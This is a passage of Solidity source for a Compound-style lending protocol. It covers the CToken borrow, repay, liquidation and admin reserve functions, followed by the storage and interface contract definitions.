amount of underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemAmount The amount of underlying to receive from redeeming cTokens * @param isNative The amount is in native or not * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemUnderlyingInternal(uint redeemAmount, bool isNative) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted redeem failed return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED); } // redeemFresh emits redeem-specific logs on errors, so we don't need to return redeemFresh(msg.sender, 0, redeemAmount, isNative); } /** * @notice Sender borrows assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @param isNative The amount is in native or not * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrowInternal(uint borrowAmount, bool isNative) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return fail(Error(error), FailureInfo.BORROW_ACCRUE_INTEREST_FAILED); } // borrowFresh emits borrow-specific logs on errors, so we don't need to return borrowFresh(msg.sender, borrowAmount, isNative); } struct BorrowLocalVars { MathError mathErr; uint accountBorrows; uint accountBorrowsNew; uint totalBorrowsNew; } /** * @notice Users borrow assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @param isNative The amount is in native or not * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrowFresh(address payable borrower, uint borrowAmount, bool isNative) internal returns (uint) { /* Fail if borrow not allowed */ uint allowed = comptroller.borrowAllowed(address(this), borrower, borrowAmount); if (allowed != 0) { return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.BORROW_COMPTROLLER_REJECTION, allowed); } /* * Return if borrowAmount is zero. * Put behind `borrowAllowed` for accuring potential COMP rewards. */ if (borrowAmount == 0) { accountBorrows[borrower].interestIndex = borrowIndex; return uint(Error.NO_ERROR); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.BORROW_FRESHNESS_CHECK); } /* Fail gracefully if protocol has insufficient underlying cash */ if (getCashPrior() < borrowAmount) { return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.BORROW_CASH_NOT_AVAILABLE); } BorrowLocalVars memory vars; /* * We calculate the new borrower and total borrow balances, failing on overflow: * accountBorrowsNew = accountBorrows + borrowAmount * totalBorrowsNew = totalBorrows + borrowAmount */ vars.accountBorrows = borrowBalanceStoredInternal(borrower); vars.accountBorrowsNew = add_(vars.accountBorrows, borrowAmount); vars.totalBorrowsNew = add_(totalBorrows, borrowAmount); ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We invoke doTransferOut for the borrower and the borrowAmount. * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken borrowAmount less of cash. * doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred. */ doTransferOut(borrower, borrowAmount, isNative); /* We write the previously calculated values into storage */ accountBorrows[borrower].principal = vars.accountBorrowsNew; accountBorrows[borrower].interestIndex = borrowIndex; totalBorrows = vars.totalBorrowsNew; /* We emit a Borrow event */ emit Borrow(borrower, borrowAmount, vars.accountBorrowsNew, vars.totalBorrowsNew); /* We call the defense hook */ // unused function // comptroller.borrowVerify(address(this), borrower, borrowAmount); return uint(Error.NO_ERROR); } /** * @notice Sender repays their own borrow * @param repayAmount The amount to repay * @param isNative The amount is in native or not * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function repayBorrowInternal(uint repayAmount, bool isNative) internal nonReentrant returns (uint, uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return (fail(Error(error), FailureInfo.REPAY_BORROW_ACCRUE_INTEREST_FAILED), 0); } // repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to return repayBorrowFresh(msg.sender, msg.sender, repayAmount, isNative); } /** * @notice Sender repays a borrow belonging to borrower * @param borrower the account with the debt being payed off * @param repayAmount The amount to repay * @param isNative The amount is in native or not * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function repayBorrowBehalfInternal(address borrower, uint repayAmount, bool isNative) internal nonReentrant returns (uint, uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return (fail(Error(error), FailureInfo.REPAY_BEHALF_ACCRUE_INTEREST_FAILED), 0); } // repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to return repayBorrowFresh(msg.sender, borrower, repayAmount, isNative); } struct RepayBorrowLocalVars { Error err; MathError mathErr; uint repayAmount; uint borrowerIndex; uint accountBorrows; uint accountBorrowsNew; uint totalBorrowsNew; uint actualRepayAmount; } /** * @notice Borrows are repaid by another user (possibly the borrower). * @param payer the account paying off the borrow * @param borrower the account with the debt being payed off * @param repayAmount the amount of undelrying tokens being returned * @param isNative The amount is in native or not * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function repayBorrowFresh(address payer, address borrower, uint repayAmount, bool isNative) internal returns (uint, uint) { /* Fail if repayBorrow not allowed */ uint allowed = comptroller.repayBorrowAllowed(address(this), payer, borrower, repayAmount); if (allowed != 0) { return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.REPAY_BORROW_COMPTROLLER_REJECTION, allowed), 0); } /* * Return if repayAmount is zero. * Put behind `repayBorrowAllowed` for accuring potential COMP rewards. */ if (repayAmount == 0) { accountBorrows[borrower].interestIndex = borrowIndex; return (uint(Error.NO_ERROR), 0); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.REPAY_BORROW_FRESHNESS_CHECK), 0); } RepayBorrowLocalVars memory vars; /* We remember the original borrowerIndex for verification purposes */ vars.borrowerIndex = accountBorrows[borrower].interestIndex; /* We fetch the amount the borrower owes, with accumulated interest */ vars.accountBorrows = borrowBalanceStoredInternal(borrower); /* If repayAmount == -1, repayAmount = accountBorrows */ if (repayAmount == uint(-1)) { vars.repayAmount = vars.accountBorrows; } else { vars.repayAmount = repayAmount; } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We call doTransferIn for the payer and the repayAmount * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken holds an additional repayAmount of cash. * doTransferIn reverts if anything goes wrong, since we can't be sure if side effects occurred. * it returns the amount actually transferred, in case of a fee. */ vars.actualRepayAmount = doTransferIn(payer, vars.repayAmount, isNative); /* * We calculate the new borrower and total borrow balances, failing on underflow: * accountBorrowsNew = accountBorrows - actualRepayAmount * totalBorrowsNew = totalBorrows - actualRepayAmount */ vars.accountBorrowsNew = sub_(vars.accountBorrows, vars.actualRepayAmount); vars.totalBorrowsNew = sub_(totalBorrows, vars.actualRepayAmount); /* We write the previously calculated values into storage */ accountBorrows[borrower].principal = vars.accountBorrowsNew; accountBorrows[borrower].interestIndex = borrowIndex; totalBorrows = vars.totalBorrowsNew; /* We emit a RepayBorrow event */ emit RepayBorrow(payer, borrower, vars.actualRepayAmount, vars.accountBorrowsNew, vars.totalBorrowsNew); /* We call the defense hook */ // unused function // comptroller.repayBorrowVerify(address(this), payer, borrower, vars.actualRepayAmount, vars.borrowerIndex); return (uint(Error.NO_ERROR), vars.actualRepayAmount); } /** * @notice The sender liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @param borrower The borrower of this cToken to be liquidated * @param repayAmount The amount of the underlying borrowed asset to repay * @param cTokenCollateral The market in which to seize collateral from the borrower * @param isNative The amount is in native or not * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function liquidateBorrowInternal(address borrower, uint repayAmount, CTokenInterface cTokenCollateral, bool isNative) internal nonReentrant returns (uint, uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed return (fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED), 0); } error = cTokenCollateral.accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed return (fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED), 0); } // liquidateBorrowFresh emits borrow-specific logs on errors, so we don't need to return liquidateBorrowFresh(msg.sender, borrower, repayAmount, cTokenCollateral, isNative); } /** * @notice The liquidator liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @param borrower The borrower of this cToken to be liquidated * @param liquidator The address repaying the borrow and seizing collateral * @param cTokenCollateral The market in which to seize collateral from the borrower * @param repayAmount The amount of the underlying borrowed asset to repay * @param isNative The amount is in native or not * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function liquidateBorrowFresh(address liquidator, address borrower, uint repayAmount, CTokenInterface cTokenCollateral, bool isNative) internal returns (uint, uint) { /* Fail if liquidate not allowed */ uint allowed = comptroller.liquidateBorrowAllowed(address(this), address(cTokenCollateral), liquidator, borrower, repayAmount); if (allowed != 0) { return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.LIQUIDATE_COMPTROLLER_REJECTION, allowed), 0); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.LIQUIDATE_FRESHNESS_CHECK), 0); } /* Verify cTokenCollateral market's block number equals current block number */ if (cTokenCollateral.accrualBlockNumber() != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.LIQUIDATE_COLLATERAL_FRESHNESS_CHECK), 0); } /* Fail if borrower = liquidator */ if (borrower == liquidator) { return (fail(Error.INVALID_ACCOUNT_PAIR, FailureInfo.LIQUIDATE_LIQUIDATOR_IS_BORROWER), 0); } /* Fail if repayAmount = 0 */ if (repayAmount == 0) { return (fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_IS_ZERO), 0); } /* Fail if repayAmount = -1 */ if (repayAmount == uint(-1)) { return (fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX), 0); } /* Fail if repayBorrow fails */ (uint repayBorrowError, uint actualRepayAmount) = repayBorrowFresh(liquidator, borrower, repayAmount, isNative); if (repayBorrowError != uint(Error.NO_ERROR)) { return (fail(Error(repayBorrowError), FailureInfo.LIQUIDATE_REPAY_BORROW_FRESH_FAILED), 0); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* We calculate the number of collateral tokens that will be seized */ (uint amountSeizeError, uint seizeTokens) = comptroller.liquidateCalculateSeizeTokens(address(this), address(cTokenCollateral), actualRepayAmount); require(amountSeizeError == uint(Error.NO_ERROR), "LIQUIDATE_COMPTROLLER_CALCULATE_AMOUNT_SEIZE_FAILED"); /* Revert if borrower collateral token balance < seizeTokens */ require(cTokenCollateral.balanceOf(borrower) >= seizeTokens, "LIQUIDATE_SEIZE_TOO_MUCH"); // If this is also the collateral, run seizeInternal to avoid re-entrancy, otherwise make an external call uint seizeError; if (address(cTokenCollateral) == address(this)) { seizeError = seizeInternal(address(this), liquidator, borrower, seizeTokens); } else { seizeError = cTokenCollateral.seize(liquidator, borrower, seizeTokens); } /* Revert if seize tokens fails (since we cannot be sure of side effects) */ require(seizeError == uint(Error.NO_ERROR), "token seizure failed"); /* We emit a LiquidateBorrow event */ emit LiquidateBorrow(liquidator, borrower, actualRepayAmount, address(cTokenCollateral), seizeTokens); /* We call the defense hook */ // unused function // comptroller.liquidateBorrowVerify(address(this), address(cTokenCollateral), liquidator, borrower, actualRepayAmount, seizeTokens); return (uint(Error.NO_ERROR), actualRepayAmount); } /** * @notice Transfers collateral tokens (this market) to the liquidator. * @dev Will fail unless called by another cToken during the process of liquidation. * Its absolutely critical to use msg.sender as the borrowed cToken and not a parameter. * @param liquidator The account receiving seized collateral * @param borrower The account having collateral seized * @param seizeTokens The number of cTokens to seize * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function seize(address liquidator, address borrower, uint seizeTokens) external nonReentrant returns (uint) { return seizeInternal(msg.sender, liquidator, borrower, seizeTokens); } /*** Admin Functions ***/ /** * @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @param newPendingAdmin New pending admin. * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setPendingAdmin(address payable newPendingAdmin) external returns (uint) { // Check caller = admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK); } // Save current value, if any, for inclusion in log address oldPendingAdmin = pendingAdmin; // Store pendingAdmin with value newPendingAdmin pendingAdmin = newPendingAdmin; // Emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin) emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin); return uint(Error.NO_ERROR); } /** * @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin * @dev Admin function for pending admin to accept role and update admin * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _acceptAdmin() external returns (uint) { // Check caller is pendingAdmin and pendingAdmin ≠ address(0) if (msg.sender != pendingAdmin || msg.sender == address(0)) { return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK); } // Save current values for inclusion in log address oldAdmin = admin; address oldPendingAdmin = pendingAdmin; // Store admin with value pendingAdmin admin = pendingAdmin; // Clear the pending value pendingAdmin = address(0); emit NewAdmin(oldAdmin, admin); emit NewPendingAdmin(oldPendingAdmin, pendingAdmin); return uint(Error.NO_ERROR); } /** * @notice Sets a new comptroller for the market * @dev Admin function to set a new comptroller * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setComptroller(ComptrollerInterface newComptroller) public returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_COMPTROLLER_OWNER_CHECK); } ComptrollerInterface oldComptroller = comptroller; // Ensure invoke comptroller.isComptroller() returns true require(newComptroller.isComptroller(), "marker method returned false"); // Set market's comptroller to newComptroller comptroller = newComptroller; // Emit NewComptroller(oldComptroller, newComptroller) emit NewComptroller(oldComptroller, newComptroller); return uint(Error.NO_ERROR); } /** * @notice accrues interest and sets a new reserve factor for the protocol using _setReserveFactorFresh * @dev Admin function to accrue interest and set a new reserve factor * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setReserveFactor(uint newReserveFactorMantissa) external nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reserve factor change failed. return fail(Error(error), FailureInfo.SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED); } // _setReserveFactorFresh emits reserve-factor-specific logs on errors, so we don't need to. return _setReserveFactorFresh(newReserveFactorMantissa); } /** * @notice Sets a new reserve factor for the protocol (*requires fresh interest accrual) * @dev Admin function to set a new reserve factor * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setReserveFactorFresh(uint newReserveFactorMantissa) internal returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_RESERVE_FACTOR_ADMIN_CHECK); } // Verify market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_RESERVE_FACTOR_FRESH_CHECK); } // Check newReserveFactor ≤ maxReserveFactor if (newReserveFactorMantissa > reserveFactorMaxMantissa) { return fail(Error.BAD_INPUT, FailureInfo.SET_RESERVE_FACTOR_BOUNDS_CHECK); } uint oldReserveFactorMantissa = reserveFactorMantissa; reserveFactorMantissa = newReserveFactorMantissa; emit NewReserveFactor(oldReserveFactorMantissa, newReserveFactorMantissa); return uint(Error.NO_ERROR); } /** * @notice Accrues interest and reduces reserves by transferring from msg.sender * @param addAmount Amount of addition to reserves * @param isNative The amount is in native or not * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _addReservesInternal(uint addAmount, bool isNative) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reduce reserves failed. return fail(Error(error), FailureInfo.ADD_RESERVES_ACCRUE_INTEREST_FAILED); } // _addReservesFresh emits reserve-addition-specific logs on errors, so we don't need to. (error, ) = _addReservesFresh(addAmount, isNative); return error; } /** * @notice Add reserves by transferring from caller * @dev Requires fresh interest accrual * @param addAmount Amount of addition to reserves * @param isNative The amount is in native or not * @return (uint, uint) An error code (0=success, otherwise a failure (see ErrorReporter.sol for details)) and the actual amount added, net token fees */ function _addReservesFresh(uint addAmount, bool isNative) internal returns (uint, uint) { // totalReserves + actualAddAmount uint totalReservesNew; uint actualAddAmount; // We fail gracefully unless market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.ADD_RESERVES_FRESH_CHECK), actualAddAmount); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We call doTransferIn for the caller and the addAmount * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken holds an additional addAmount of cash. * doTransferIn reverts if anything goes wrong, since we can't be sure if side effects occurred. * it returns the amount actually transferred, in case of a fee. */ actualAddAmount = doTransferIn(msg.sender, addAmount, isNative); totalReservesNew = add_(totalReserves, actualAddAmount); // Store reserves[n+1] = reserves[n] + actualAddAmount totalReserves = totalReservesNew; /* Emit NewReserves(admin, actualAddAmount, reserves[n+1]) */ emit ReservesAdded(msg.sender, actualAddAmount, totalReservesNew); /* Return (NO_ERROR, actualAddAmount) */ return (uint(Error.NO_ERROR), actualAddAmount); } /** * @notice Accrues interest and reduces reserves by transferring to admin * @param reduceAmount Amount of reduction to reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _reduceReserves(uint reduceAmount) external nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reduce reserves failed. return fail(Error(error), FailureInfo.REDUCE_RESERVES_ACCRUE_INTEREST_FAILED); } // _reduceReservesFresh emits reserve-reduction-specific logs on errors, so we don't need to. return _reduceReservesFresh(reduceAmount); } /** * @notice Reduces reserves by transferring to admin * @dev Requires fresh interest accrual * @param reduceAmount Amount of reduction to reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _reduceReservesFresh(uint reduceAmount) internal returns (uint) { // totalReserves - reduceAmount uint totalReservesNew; // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.REDUCE_RESERVES_ADMIN_CHECK); } // We fail gracefully unless market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.REDUCE_RESERVES_FRESH_CHECK); } // Fail gracefully if protocol has insufficient underlying cash if (getCashPrior() < reduceAmount) { return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.REDUCE_RESERVES_CASH_NOT_AVAILABLE); } // Check reduceAmount ≤ reserves[n] (totalReserves) if (reduceAmount > totalReserves) { return fail(Error.BAD_INPUT, FailureInfo.REDUCE_RESERVES_VALIDATION); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) totalReservesNew = sub_(totalReserves, reduceAmount); // Store reserves[n+1] = reserves[n] - reduceAmount totalReserves = totalReservesNew; // doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred. // Restrict reducing reserves in native token. Implementations except `CWrappedNative` won't use parameter `isNative`. doTransferOut(admin, reduceAmount, true); emit ReservesReduced(admin, reduceAmount, totalReservesNew); return uint(Error.NO_ERROR); } /** * @notice accrues interest and updates the interest rate model using _setInterestRateModelFresh * @dev Admin function to accrue interest and update the interest rate model * @param newInterestRateModel the new interest rate model to use * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted change of interest rate model failed return fail(Error(error), FailureInfo.SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED); } // _setInterestRateModelFresh emits interest-rate-model-update-specific logs on errors, so we don't need to. return _setInterestRateModelFresh(newInterestRateModel); } /** * @notice updates the interest rate model (*requires fresh interest accrual) * @dev Admin function to update the interest rate model * @param newInterestRateModel the new interest rate model to use * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setInterestRateModelFresh(InterestRateModel newInterestRateModel) internal returns (uint) { // Used to store old model for use in the event that is emitted on success InterestRateModel oldInterestRateModel; // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_INTEREST_RATE_MODEL_OWNER_CHECK); } // We fail gracefully unless market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_INTEREST_RATE_MODEL_FRESH_CHECK); } // Track the market's current interest rate model oldInterestRateModel = interestRateModel; // Ensure invoke newInterestRateModel.isInterestRateModel() returns true require(newInterestRateModel.isInterestRateModel(), "marker method returned false"); // Set the interest rate model to newInterestRateModel interestRateModel = newInterestRateModel; // Emit NewMarketInterestRateModel(oldInterestRateModel, newInterestRateModel) emit NewMarketInterestRateModel(oldInterestRateModel, newInterestRateModel); return uint(Error.NO_ERROR); } /*** Safe Token ***/ /** * @notice Gets balance of this contract in terms of the underlying * @dev This excludes the value of the current message, if any * @return The quantity of underlying owned by this contract */ function getCashPrior() internal view returns (uint); /** * @dev Performs a transfer in, reverting upon failure. Returns the amount actually transferred to the protocol, in case of a fee. * This may revert due to insufficient balance or insufficient allowance. */ function doTransferIn(address from, uint amount, bool isNative) internal returns (uint); /** * @dev Performs a transfer out, ideally returning an explanatory error code upon failure tather than reverting. * If caller has not called checked protocol's balance, may revert due to insufficient cash held in the contract. * If caller has checked protocol's balance, and verified it is >= amount, this should not revert in normal conditions. */ function doTransferOut(address payable to, uint amount, bool isNative) internal; /** * @notice Transfer `tokens` tokens from `src` to `dst` by `spender` * @dev Called by both `transfer` and `transferFrom` internally */ function transferTokens(address spender, address src, address dst, uint tokens) internal returns (uint); /** * @notice Get the account's cToken balances */ function getCTokenBalanceInternal(address account) internal view returns (uint); /** * @notice User supplies assets into the market and receives cTokens in exchange * @dev Assumes interest has already been accrued up to the current block */ function mintFresh(address minter, uint mintAmount, bool isNative) internal returns (uint, uint); /** * @notice User redeems cTokens in exchange for the underlying asset * @dev Assumes interest has already been accrued up to the current block */ function redeemFresh(address payable redeemer, uint redeemTokensIn, uint redeemAmountIn, bool isNative) internal returns (uint); /** * @notice Transfers collateral tokens (this market) to the liquidator. * @dev Called only during an in-kind liquidation, or by liquidateBorrow during the liquidation of another CToken. * Its absolutely critical to use msg.sender as the seizer cToken and not a parameter. */ function seizeInternal(address seizerToken, address liquidator, address borrower, uint seizeTokens) internal returns (uint); /*** Reentrancy Guard ***/ /** * @dev Prevents a contract from calling itself, directly or indirectly. */ modifier nonReentrant() { require(_notEntered, "re-entered"); _notEntered = false; _; _notEntered = true; // get a gas-refund post-Istanbul } } pragma solidity ^0.5.16; import "./ComptrollerInterface.sol"; import "./InterestRateModel.sol"; contract CTokenStorage { /** * @dev Guard variable for re-entrancy checks */ bool internal _notEntered; /** * @notice EIP-20 token name for this token */ string public name; /** * @notice EIP-20 token symbol for this token */ string public symbol; /** * @notice EIP-20 token decimals for this token */ uint8 public decimals; /** * @notice Maximum borrow rate that can ever be applied (.0005% / block) */ uint internal constant borrowRateMaxMantissa = 0.0005e16; /** * @notice Maximum fraction of interest that can be set aside for reserves */ uint internal constant reserveFactorMaxMantissa = 1e18; /** * @notice Administrator for this contract */ address payable public admin; /** * @notice Pending administrator for this contract */ address payable public pendingAdmin; /** * @notice Contract which oversees inter-cToken operations */ ComptrollerInterface public comptroller; /** * @notice Model which tells what the current interest rate should be */ InterestRateModel public interestRateModel; /** * @notice Initial exchange rate used when minting the first CTokens (used when totalSupply = 0) */ uint internal initialExchangeRateMantissa; /** * @notice Fraction of interest currently set aside for reserves */ uint public reserveFactorMantissa; /** * @notice Block number that interest was last accrued at */ uint public accrualBlockNumber; /** * @notice Accumulator of the total earned interest rate since the opening of the market */ uint public borrowIndex; /** * @notice Total amount of outstanding borrows of the underlying in this market */ uint public totalBorrows; /** * @notice Total amount of reserves of the underlying held in this market */ uint public totalReserves; /** * @notice Total number of tokens in circulation */ uint public totalSupply; /** * @notice Official record of token balances for each account */ mapping (address => uint) internal accountTokens; /** * @notice Approved token transfer amounts on behalf of others */ mapping (address => mapping (address => uint)) internal transferAllowances; /** * @notice Container for borrow balance information * @member principal Total balance (with accrued interest), after applying the most recent balance-changing action * @member interestIndex Global borrowIndex as of the most recent balance-changing action */ struct BorrowSnapshot { uint principal; uint interestIndex; } /** * @notice Mapping of account addresses to outstanding borrow balances */ mapping(address => BorrowSnapshot) internal accountBorrows; } contract CErc20Storage { /** * @notice Underlying asset for this CToken */ address public underlying; /** * @notice Implementation address for this contract */ address public implementation; } contract CSupplyCapStorage { /** * @notice Internal cash counter for this CToken. Should equal underlying.balanceOf(address(this)) for CERC20. */ uint256 public internalCash; } contract CCollateralCapStorage { /** * @notice Total number of tokens used as collateral in circulation. */ uint256 public totalCollateralTokens; /** * @notice Record of token balances which could be treated as collateral for each account. * If collateral cap is not set, the value should be equal to accountTokens. */ mapping (address => uint) public accountCollateralTokens; /** * @notice Check if accountCollateralTokens have been initialized. */ mapping (address => bool) public isCollateralTokenInit; /** * @notice Collateral cap for this CToken, zero for no cap. */ uint256 public collateralCap; } /*** Interface ***/ contract CTokenInterface is CTokenStorage { /** * @notice Indicator that this is a CToken contract (for inspection) */ bool public constant isCToken = true; /*** Market Events ***/ /** * @notice Event emitted when interest is accrued */ event AccrueInterest(uint cashPrior, uint interestAccumulated, uint borrowIndex, uint totalBorrows); /** * @notice Event emitted when tokens are minted */ event Mint(address minter, uint mintAmount, uint mintTokens); /** * @notice Event emitted when tokens are redeemed */ event Redeem(address redeemer, uint redeemAmount, uint redeemTokens); /** * @notice Event emitted when underlying is borrowed */ event Borrow(address borrower, uint borrowAmount, uint accountBorrows, uint totalBorrows); /** * @notice Event emitted when a borrow is repaid */ event RepayBorrow(address payer, address borrower, uint repayAmount, uint accountBorrows, uint totalBorrows); /** * @notice Event emitted when a borrow is liquidated */ event LiquidateBorrow(address liquidator, address borrower, uint repayAmount, address cTokenCollateral, uint seizeTokens); /*** Admin Events ***/ /** * @notice Event emitted when pendingAdmin is changed */ event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin); /** * @notice Event emitted when pendingAdmin is accepted, which means admin is updated */ event NewAdmin(address oldAdmin, address newAdmin); /** * @notice Event emitted when comptroller is changed */ event NewComptroller(ComptrollerInterface oldComptroller, ComptrollerInterface newComptroller); /** * @notice Event emitted when interestRateModel is changed */ event NewMarketInterestRateModel(InterestRateModel oldInterestRateModel, InterestRateModel newInterestRateModel); /** * @notice Event emitted when the reserve factor is changed */ event NewReserveFactor(uint oldReserveFactorMantissa, uint newReserveFactorMantissa); /** * @notice Event emitted when the reserves are added */ event ReservesAdded(address benefactor, uint addAmount, uint newTotalReserves); /** * @notice Event emitted when the reserves are reduced */ event ReservesReduced(address admin, uint reduceAmount, uint newTotalReserves); /** * @notice EIP20 Transfer event */ event Transfer(address indexed from, address indexed to, uint amount); /** * @notice EIP20 Approval event */ event Approval(address indexed owner, address indexed spender, uint amount); /** * @notice Failure event */ event Failure(uint error, uint info, uint detail); /*** User Interface ***/ function transfer(address dst, uint amount) external returns (bool); function transferFrom(address src, address dst, uint amount) external returns (bool); function approve(address spender, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function balanceOf(address owner) external view returns (uint); function balanceOfUnderlying(address owner) external returns (uint); function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint); function borrowRatePerBlock() external view returns (uint); function supplyRatePerBlock() external view returns (uint); function totalBorrowsCurrent() external returns (uint); function borrowBalanceCurrent(address account) external returns (uint); function borrowBalanceStored(address account) public view returns (uint); function exchangeRateCurrent() public returns (uint); function exchangeRateStored() public view returns (uint); function getCash() external view returns (uint); function accrueInterest() public returns (uint); function seize(address liquidator, address borrower, uint seizeTokens) external returns (uint); /*** Admin Functions ***/ function _setPendingAdmin(address payable newPendingAdmin) external returns (uint); function _acceptAdmin() external returns (uint); function _setComptroller(ComptrollerInterface newComptroller) public returns (uint); function _setReserveFactor(uint newReserveFactorMantissa) external returns (uint); function _reduceReserves(uint reduceAmount) external returns (uint); function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint); } contract CErc20Interface is CErc20Storage { /*** User Interface ***/ function mint(uint mintAmount) external returns (uint); function redeem(uint redeemTokens) external returns (uint); function redeemUnderlying(uint redeemAmount) external returns (uint); function borrow(uint borrowAmount) external returns (uint); function repayBorrow(uint repayAmount) external returns (uint); function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint); function liquidateBorrow(address borrower, uint repayAmount, CTokenInterface 